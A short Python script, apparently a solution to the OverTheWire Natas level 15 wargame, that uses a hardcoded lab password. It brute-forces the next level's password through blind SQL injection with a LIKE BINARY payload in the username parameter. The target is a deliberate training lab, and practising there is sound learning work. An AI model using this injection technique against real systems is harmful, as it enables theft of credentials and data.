natas15

import urllib.request
import string

#variables setup
url = 'http://natas15.natas.labs.overthewire.org'
guess_list = string.digits+string.ascii_letters
username = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
natas16_pass = ''
url_hack_format = 'http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20and%20password%20LIKE%20BINARY%20%22!@#%'

#setup
password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, url, username, password)
handler = urllib.request.HTTPBasicAuthHandler(password_mgr)
opener = urllib.request.build_opener(handler)
urllib.request.install_opener(opener)

while(len(natas16_pass) <32):
    for char in guess_list:
        natas16_pass += char
        url_hack = url_hack_format.replace('!@#',natas16_pass)
        print('trying: ' + natas16_pass)
        response = urllib.request.urlopen(url_hack).read()

        if 'This user exists' in str(response) :
            print('starts with: ' + natas16_pass)
            break
        else:
            print('not starts with: ' + natas16_pass)
            natas16_pass = natas16_pass[0:len(natas16_pass)-1]

while True:
    pass